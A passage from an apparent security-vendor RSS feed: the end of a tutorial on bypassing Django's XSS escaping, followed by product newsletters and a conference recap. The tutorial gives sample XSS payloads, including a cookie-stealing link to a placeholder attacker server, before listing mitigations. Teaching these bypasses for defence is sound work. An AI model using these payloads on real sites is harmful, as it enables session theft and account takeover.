Encoding&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Django by default uses Unicode and &lt;a href=&quot;https://en.wikipedia.org/wiki/UTF-8&quot;&gt;UTF-8&lt;/a&gt; encoding. When you give input, Django forcefully encodes it and then escapes dangerous characters. But this doesn’t work for base64 encoded strings. In the above example, where we saw that some characters are replaced with the HTML code, the input is considered as UTF-8. But if you can change this default, you can bypass escaping.&lt;/p&gt;&lt;p&gt;To do this, you’ll first have to change the data protocol to base64 in the request: &lt;/p&gt;&lt;p&gt;&lt;code&gt;data:text/html;base64&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then you’ll have to convert your injection to a &lt;a href=&quot;https://www.base64encode.org/&quot;&gt;base64&lt;/a&gt; string. For example, if you encode the string &lt;i&gt;&lt;b&gt;alert(‘XSS Attack’);&lt;/b&gt;&lt;/i&gt; to base64, it would convert to &lt;i&gt;&lt;b&gt;PHNjcmlwdD5hbGVydCgnWFNTIEF0dGFjaycpOzwvc2NyaXB0Pg==&lt;/b&gt;&lt;/i&gt;&lt;i&gt;.&lt;/i&gt; And this encoded string will be your payload.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Unquoted Payload&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Django by default sanitizes quoted data. But if you see the application using unquoted data—for example, JavaScript integers—then the application could be vulnerable to XSS attack.&lt;/p&gt;&lt;p&gt;For example, if the application is asking the user’s age and using a JavaScript integer to store it, there are no quotes involved. Therefore, there’s no security by default. So, a payload like &lt;i&gt;&lt;b&gt;27 ; payload_function()&lt;/b&gt;&lt;/i&gt; would be a successful XSS attack. Such cases are observed commonly where widgets, objects, and so on are used.&lt;/p&gt;&lt;p&gt;Let’s say you’re using a widget to collect user information. You can have different fields.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If this application is using JavaScript integers to store the age, then the age value wouldn’t be quoted. This means that Django’s sanitization won’t apply to it. If the attacker injects payload into the age value, for example, &lt;i&gt;&lt;b&gt;25 ; alert(‘XSS Attack’);,&lt;/b&gt;&lt;/i&gt; it could lead to an XSS attack.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Template Literals&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Django’s escape function escapes single quotes and double quotes. Wouldn’t it be better if there was something that had the same function as these characters but wasn’t escaped? Well, there is—the backtick (&lt;b&gt;`&lt;/b&gt;).&lt;/p&gt;&lt;p&gt;For a browser, &lt;b&gt;‘Hello World!’&lt;/b&gt; is the same as &lt;b&gt;`Hello World!`&lt;/b&gt;&lt;/p&gt;&lt;p&gt;A backtick is a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals&quot;&gt;template literal&lt;/a&gt; that acts as quotes but isn’t escaped by Django’s escape function. So, you can craft your injection with backticks to bypass escaping.&lt;/p&gt;&lt;p&gt;Let’s say your application takes the location of an image and displays it on the page using the &lt;b&gt;img&lt;/b&gt; tag. So, if your input is &lt;i&gt;&lt;b&gt;/Images/cyber.png&lt;/b&gt;&lt;/i&gt;, then the page would have a tag like:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;/Images/cyber.png&amp;quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you try to inject a malicious payload using quotes, say your input is &lt;i&gt;&lt;b&gt;javascript:alert(“XSS”)&lt;/b&gt;&lt;/i&gt;. This input would go through escaping, and we would get:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;javascript:alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The payload fails to execute the script. But we can get through this using template literals. If your input is &lt;i&gt;&lt;b&gt;javascript:alert(`XSS`).&lt;/b&gt;&lt;/i&gt; Django would not escape the backtick (`). So, we would get:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;&lt;/code&gt;&lt;code&gt;&lt;i&gt;&lt;b&gt;javascript:alert(`XSS`)&lt;/b&gt;&lt;/i&gt;&lt;/code&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And this is a valid payload.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;JavaScript Embedded Attributes&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In some cases, the web application might let users add a link to the page. For example, a blog page can allow authors to add their Git profile link. When the URL is added, it’s hyperlinked on the page using &lt;a href=&quot;https://www.w3.org/MarkUp/1995-archive/Elements/A.html#:~:text=Anchors,anchor%20tag%20are%20as%20follows.&quot;&gt;anchor tags&lt;/a&gt;. Now a malicious actor can embed a JavaScript payload in these attributes. And because these payloads aren’t usually escaped, the payload would carry out an XSS attack.&lt;/p&gt;&lt;p&gt;Legit value:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;www.xyz,com&amp;quot;&amp;gt;My Profile&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Malicious payload:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;javascript:document.location=&amp;#39;http://&amp;lt;attacker&amp;#39;s remote server&amp;gt;/getcookie.php?cookie=&amp;#39;+document.cookie;&amp;quot;&amp;gt;My Profile&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;My Profile&lt;/p&gt;&lt;p&gt;If this is the payload, when the user clicks on the link, the application collects a cookie from the user’s browser and sends it to the attacker’s remote server. The attacker can then use that cookie to gain access to the user’s account.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Unsafe Use of “Safe”&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Django by default escapes data, but it provides a safe filter you can use to disable escaping for particular data. The safe filter is used mostly when data is known to be safe. But unsafe use of this filter could result in XSS vulnerabilities. If a malicious actor finds out that you’ve been tagging a data value as safe, they could inject their malicious script in that data field. And because it’s marked as safe, Django won’t escape it. As a result, when the data with the malicious script is rendered, an XSS attack is performed.&lt;/p&gt;&lt;p&gt;For example, say the value of &lt;b&gt;name&lt;/b&gt; is “&lt;i&gt;&lt;b&gt;Tony&lt;/b&gt;&lt;/i&gt; &lt;i&gt;&lt;b&gt;alert(‘XSS’);&lt;/b&gt;&lt;/i&gt;“.&lt;/p&gt;&lt;p&gt;When you render this value with default configuration (HTML escaping enabled) using this code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{{ name }}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The output will be as follows:&lt;/p&gt;&lt;p&gt;&lt;code&gt;_Tony &amp;amp;lt;_script_&amp;amp;gt;_alert(_&amp;#39;_XSS_&amp;#39;_);_&amp;amp;lt;_/script_&amp;amp;gt;_&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;But if you mark &lt;b&gt;name&lt;/b&gt; as safe:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{{ name | safe }}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then the output will be:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Tony &amp;lt;script&amp;gt;alert(&amp;#39;XSS&amp;#39;);&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this case, because the data is marked as safe, it is not escaped. As a result, the payload will be executed.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Django XSS Prevention&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;We’ve seen how malicious actors can get around Django’s default security to execute an XSS attack. And the above should be more than enough to understand that we need more security. So here are a few measures you can take to increase security.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Safe Filter&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Misuse of the safe filter can be dangerous, as depicted in the example above. Hence, it’s very important to be smart and careful in using it. Don’t use this filter if it’s not necessary. If the application is developed, find all the instances of this filter. You can then evaluate if it’s really necessary. If it’s necessary, then analyze its impact on security and implement additional measures.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Input Sanitization&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The first rule of web application security is to never trust user input. There are infinite possible user inputs, and obviously, not all are safe. Unsafe inputs from users could be intentional or unintentional. Irrespective of the intent, they’re still dangerous. You need to sanitize all user input to eliminate risks. Input sanitization is a method of making the input safe for use in or by the web application.&lt;/p&gt;&lt;p&gt;Django by default uses HTML escaping. You can extend this to JavaScript as well using Python libraries. JavaScript escaping escapes special characters except &lt;b&gt;@*_+-./&lt;/b&gt;. It also encodes blank spaces to its equivalent code. This would make more payloads useless.&lt;/p&gt;&lt;p&gt;Example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;import urlliba = &amp;#39;Example for escaping.php?name=alert(&amp;quot;XSS&amp;quot;)&amp;#39;
print(urllib.parse.quote(a))&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Example%20for%20escaping.php%3Fname%3D%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;HttpOnly&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Web applications use the HttpOnly flag to restrict the access of cookies from the client-side script. If the &lt;a href=&quot;https://owasp.org/www-community/HttpOnly&quot;&gt;HttpOnly&lt;/a&gt; flag is enabled, access to the cookie is restricted to the server alone. By using the HttpOnly flag, you can eliminate the risk of an attacker obtaining cookie information using XSS attacks.&lt;/p&gt;&lt;p&gt;You can enable this feature in Django by adding the following line in &lt;b&gt;settings.py&lt;/b&gt; file of your Django project:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SESSION_COOKIE_HTTPONLY = True&lt;/code&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Django has certain security features, not just for XSS but also for other risks.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Bottom Line&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Django is great if you want to build web applications faster, but you shouldn’t neglect security in your haste. Django has certain security features, not just for XSS but also for other risks. XSS is a dangerous attack that has catastrophic results. Hence, it’s one of the most crucial attacks you need to protect your application against. The above-mentioned mitigation techniques are just the tip of the iceberg. To have the best security for your application, you need regular &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-with-hawkscan-github-action/&quot;&gt;tests&lt;/a&gt;, analysis, and security fixes.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Omkar Hiremath.&lt;/i&gt; &lt;a href=&quot;https://www.linkedin.com/in/omkar-hiremath-6a1729159/?originalSubdomain=in&quot;&gt;&lt;i&gt;Omkar&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a cybersecurity analyst who is enthusiastic about cybersecurity, ethical hacking, data science, and Python. He’s a part time bug bounty hunter and is keenly interested in vulnerability and malware analysis.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[October Newsletter: HawkDocs Updates, Print Scan Reports, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/october-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HawkDocs.&lt;/b&gt; We have made huge updates and improvements to our documentation site, &lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;HawkDocs&lt;/a&gt;. We have rewritten content, introduced dark mode, optimized for all devices and improved navigation so it is easier than ever to find answers to your questions. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;PDF Report.&lt;/b&gt; Users will now be able to export and save a copy of their scan reports. Share the report with stakeholders outside of your StackHawk account so they can understand the state of your application’s security. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Application Table View.&lt;/b&gt; Now you can view applications in a table format or a card format, creating more real estate for organizations with many applications. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HawkScan Version.&lt;/b&gt; It’s easier than ever to know if you’re running the latest version of the StackHawk scanner. We have updated the Scan Details page to show you the version of HawkScan that ran and any available updates.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Deleting Users.&lt;/b&gt; Have a change to your team? Is Roger overusing gifs in Slack? You can now remove users from your StackHawk organization. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Announcing StackHawk’s Series A&lt;/h3&gt;&lt;p&gt;Earlier this week we announced our $10 million Series A funding. The round was led by Sapphire Ventures and included return seed backers Foundry Group, Costanoa Ventures, Flybridge Capital, and Matchstick Ventures.&lt;/p&gt;&lt;p&gt;But, this is no time to rest on our laurels. We are using the funding to continue bringing AppSec to developers. We have big things planned when it comes to product development which we will highlight in future newsletters.  &lt;/p&gt;&lt;p&gt;The funding also allows us to grow. In October, we added teammates to our sales and marketing teams and we have more additions planned before the end of the year. Keep an eye on our &lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;jobs&lt;/a&gt; page as we enter this new phase of growth. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/series-a-financing-announcement/&quot;&gt;Read the Blog&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;h6&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/h6&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.businessinsider.com/stackhawk-developer-security-ceo-klippert-sapphire-funding-2020-10&quot;&gt;&lt;b&gt;Business Insider&lt;/b&gt;&lt;/a&gt; &lt;b&gt;[paywall]:&lt;/b&gt; Denver startup StackHawk just raised a $10 million Series A to help developers automatically find security flaws in their apps.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://sapphireventures.com/blog/sapphire-leads-stackhawk-series-a-funding-round/&quot;&gt;&lt;b&gt;Securing Apps From the Very Beginning&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Why Sapphire Ventures is Excited to Partner with StackHawk.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.costanoavc.com/the-need-for-developer-centric-application-security-our-investment-in-stackhawk/&quot;&gt;&lt;b&gt;The Need for Developer-Centric Application Security&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Costanoa Ventures’ perspective on continued investment in developer-centric AppSec.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/spring-profiles-third-party-services-docker/&quot;&gt;&lt;b&gt;Using Spring Profiles to Statefully Mock Out Third Party Services in Docker&lt;/b&gt;&lt;/a&gt;: How we are building services using Kotlin SpringBoot to deliver functionality to our platform.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h6&gt;&lt;b&gt;📽 Virtual Events&lt;/b&gt;&lt;/h6&gt;&lt;p&gt;We attended 8 virtual conferences this month including JamstackConf, SnykCon, and API World. We have several more events coming up in November. Swing by our virtual booths at the following events.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.developerweek.com/global/conference/enterprise/&quot;&gt;&lt;b&gt;DeveloperWeek Enterprise&lt;/b&gt;&lt;/a&gt;: Nov 10-11&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/&quot;&gt;&lt;b&gt;KubeCon&lt;/b&gt;&lt;/a&gt;: Nov 17-20&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h6&gt;📺 &lt;b&gt;HawkTalks&lt;/b&gt;&lt;/h6&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=g8-XoClPWFQ&amp;feature=youtu.be&quot;&gt;&lt;b&gt;StackHawk Demo at SnykCon&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5&gt;❤️  Give Us Some Love&lt;/h5&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share about StackHawk with your friends and colleagues. As always, thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[May Newsletter: GraphQL, Findings Management, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/may-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;p&gt;Check out the latest features we’ve added to StackHawk:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GraphQL Scanning:&lt;/b&gt; We are excited to announce that HawkScan, our security bug scanner, can now support GraphQL applications. Interested in scanning your GraphQL application? Check out &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/graphql-configuration.html&quot;&gt;the docs&lt;/a&gt; to learn more.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Findings Management:&lt;/b&gt; Mark your scan results as Assigned, False Positive, or Risk Accepted. With Findings Management, you can now focus on scan results that are new or not yet processed. Learn more below.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Validation of Findings:&lt;/b&gt; Working on a fix for a security bug? With curl based validation, you can step through the specific request that triggered the finding. Click the button, get the curl command, and get to a fix faster. More details below.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Announcements Panel:&lt;/b&gt; Email is so 90s. Now you can see feature announcements right in the app. Check out the Announcements panel to see the latest feature updates, link out to documentation, or send us feedback.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Process Your AppSec Bugs with Findings Management&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When you jump into your scan results, there are often findings that you are aware of. Maybe a fix is in progress with an associated Jira ticket, maybe it is a false positive, or maybe it is an accepted risk (corporate still wants that Facebook tracker everywhere).&lt;/p&gt;&lt;p&gt;With the new Findings Management feature, you can reduce the noise and focus on the findings that matter. Mark your findings as Assigned, False Positive, or Risk Accepted to quiet them in the future. On subsequent scan runs, we will still log the findings, but they will be filtered out from the main view so you can focus on fixing what matters.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/appsec-findings-management/&quot;&gt;Read the Post&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Fix Your Security Bug Findings with curl Validation&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;StackHawk is a dynamic application scanner, meaning that it scans a running version of your application. It finds security bugs in your app, but does not point to where the bug exists in code.&lt;/p&gt;&lt;p&gt;With curl-based validation of findings, you can debug the request that was used to find the security bug and zero in on the fix in code. Check out the blog post for more information.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;/blog/fix-bugs-curl-validation/&quot;&gt;Read the Post&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Need to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;📖&lt;/b&gt; Reading Material&lt;/h4&gt;&lt;p&gt;Grab your cup of coffee or a glass of whiskey and check out the latest content from the StackHawk team.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/sharing-dependencies-and-gradle-plugins-between-kotlin-springboot-services/&quot;&gt;&lt;b&gt;Sharing Dependencies and Gradle Plugins between Kotlin/SpringBoot Services&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/ci-pipeline-security-bug-testing/&quot;&gt;&lt;b&gt;Why Doesn’t Your Pipeline Have Security Bug Testing?&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-is-broken/&quot;&gt;&lt;b&gt;Application Security is Broken. Here is How We Intend to Fix It.&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;📽 &lt;/b&gt;Virtual Events&lt;/h4&gt;&lt;p&gt;StackHawk is proud to be sponsoring two upcoming virtual events. Click the links below to sign up – both are free!&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ins1ghts.ns1.com/?ac=ZKNNpVsO&quot;&gt;INS1GHTS&lt;/a&gt; – June 11&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://devseccon24-2020-tickets.eventbrite.com?discount=StackHawk20&quot;&gt;DevSecCon24&lt;/a&gt; – June 15 &amp;amp; 16&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;📺 &lt;/b&gt;HawkTalks&lt;/h4&gt;&lt;p&gt;You can only binge so much Netflix. Switch it up with the latest from our co-founder and resident security expert, Scott Gerlach.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=IqvoIpVsQcQ&amp;t=1s&quot;&gt;HawkTalk: The stackhawk.yml&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://soundcloud.com/user-465317241/164-511-scott-gerlach-co-founder-cso-at-stackhawk&quot;&gt;Colorado=Security Podcast&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;❤️ Give Us Some Love&lt;/h4&gt;&lt;p&gt;As an early stage software company, good word of mouth is one of the best things we can get. If you know anyone who should join us in this mission of developer first security, please send them our way. Another way you can support us this month is to follow us on &lt;a href=&quot;https://stackshare.io/stackhawk&quot;&gt;StackShare&lt;/a&gt;. As always, thanks for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ZAPCon 2021: Event Recap and Highlights]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/zapcon-2021-event-recap</guid><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;A couple of months ago, we were asked “If you had a ZAPCon, how many people do you think would show up?” I think Simon said something like, “I have absolutely no idea.”&lt;/p&gt;&lt;p&gt;Well I will tell you… 2000+ people will register and 1300+ people will show up. And, there will be some great conversations happening during the conference, with more than 700 Discord participants.&lt;/p&gt;&lt;p&gt;There was clearly some pent-up demand around learning about ZAP! Absolutely fantastic. &lt;/p&gt;&lt;h3&gt;The First-Ever ZAPCon&lt;/h3&gt;&lt;p&gt;This inaugural ZAPCon was all about open source &lt;a href=&quot;https://zaproxy.org&quot;&gt;ZAP&lt;/a&gt;. Talks ranged from &lt;a href=&quot;https://youtu.be/VeBbHBow9kQ&quot;&gt;company use cases&lt;/a&gt;, to &lt;a href=&quot;https://youtu.be/jimW-R6_F4U&quot;&gt;best-practices for empowering software developers with automated security checks&lt;/a&gt;, to technical deep dives on how to do things like &lt;a href=&quot;https://youtu.be/5Hq0sPbhnDQ&quot;&gt;enhance ZAP with Fuzz-based testing&lt;/a&gt; and &lt;a href=&quot;https://youtu.be/KWofjrHNNqs&quot;&gt;mobile testing&lt;/a&gt;. It was a great range of talks to get users familiar with the power of ZAP, and aligned with how today’s organizations are thinking about automation and shifting security assessment technologies into the hands of software developers. &lt;/p&gt;&lt;h3&gt;ZAPCon Attendees&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As we look at more data around who attended the conference, I was beyond thrilled to learn that 40% of the audience was from an engineering discipline: DevOps, Software Engineering, Engineering Leadership and QA. This speaks to a very exciting trend of interest by these groups in shoring up the security of their applications BEFORE deploying to production. &lt;/p&gt;&lt;p&gt;StackHawk chose to build its scanner on top of ZAP because it supports this shift. Not only is ZAP the world’s most frequently used application security scanner, but it is also built for enabling automation in CICD. Its best in class functionality allows users to scan modern applications and backing APIs.&lt;/p&gt;&lt;p&gt;In bringing ZAPCon to life, we were excited about the opportunity to invest into the ZAP community and technology. We know how valuable it is to find a partner that is technically aligned with the modern dev process and is interested in building a best in class experience for today’s engineers. We look forward to continuing this partnership by contributing  to both the ZAP project and ongoing community efforts. &lt;/p&gt;&lt;h3&gt;Thank You’s&lt;/h3&gt;&lt;p&gt;As I reflect on the success of this inaugural event, we owe several folks a ton of Thank You’s! &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;ZAP Core Team&lt;/b&gt; – Thank you for building such a great project over the last 10 years. We loved collaborating with you on the conference and appreciate your work in building and cultivating community.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;All of our Speakers&lt;/b&gt; – We had many excellent talks submitted and it was very difficult to select just a few. Thank you to our speakers for their presentations and staying up late to participate in the Q&amp;amp;A! &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Conference Organizing Team from StackHawk&lt;/b&gt; – It was a herculean effort for a small team to put together this big of a conference in only 2 months. Fantastic job! Thank you for all of your work! &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;The Attendees&lt;/b&gt; – We had attendees from more than 80 countries. Between the turnout and the engagement in the discord, we had a ton of fun.Thank you for your support! &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We’re not through yet! Because there were so many great talk submissions, we’ll be hosting ongoing &lt;a href=&quot;https://zapcon.io/#zapconafterhours&quot;&gt;ZAPCon After Hours&lt;/a&gt;. Stay tuned for more details about the next event! &lt;/p&gt;&lt;p&gt;Sign up to be the first to learn about &lt;a href=&quot;https://zapcon.io&quot;&gt;ZAPCon 2022&lt;/a&gt;!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[April Newsletter: Pipeline Automation, Slack and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/april-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;&lt;/p&gt;&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;p&gt;We are excited about our April feature additions, with a lot more in the hopper. Make sure to give these new things a try!&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Slack App.&lt;/b&gt; Get notified of scan runs and results in Slack with the new &lt;a href=&quot;https://slack.com/apps/A0114L5HGP5-stackhawk&quot;&gt;StackHawk Slack App&lt;/a&gt;. Bring application security visibility to the entire team and keep up to date with StackHawk runs in your CI/CD pipeline.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Orgs.&lt;/b&gt; Early access was launched with only individual accounts. Now you can invite other users to your StackHawk account so you can share the AppSec love.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CircleCI Orb.&lt;/b&gt; Add StackHawk to your Circle CI build pipeline with the official &lt;a href=&quot;https://circleci.com/orbs/registry/orb/stackhawk/stackhawk?utm_medium=partner&amp;utm_source=stackhawk&quot;&gt;StackHawk Orb&lt;/a&gt;. If you use other providers for continuous integration, check out our docs &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Mobile Improvements.&lt;/b&gt; Checking your recent scan while on the go? The StackHawk web app has been optimized for mobile.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;AppSec in the CI Pipeline: StackHawk + CircleCI&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Application security testing should be automated in the pipeline to ensure that you catch security bugs before they hit production. We recently partnered with CircleCI to make it easy to add AppSec testing into your pipeline builds. Check out the &lt;a href=&quot;https://circleci.com/orbs/registry/orb/stackhawk/stackhawk?utm_medium=partner&amp;utm_source=stackhawk&quot;&gt;StackHawk Orb&lt;/a&gt; or read the post below about how to get set up.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/add-appsec-to-circle-ci-pipeline/&quot;&gt;Read the Blog&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Need to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;📖&lt;/b&gt; Reading Material&lt;/h4&gt;&lt;p&gt;Grab your cup of coffee or a glass of whiskey and check out the latest content from the StackHawk 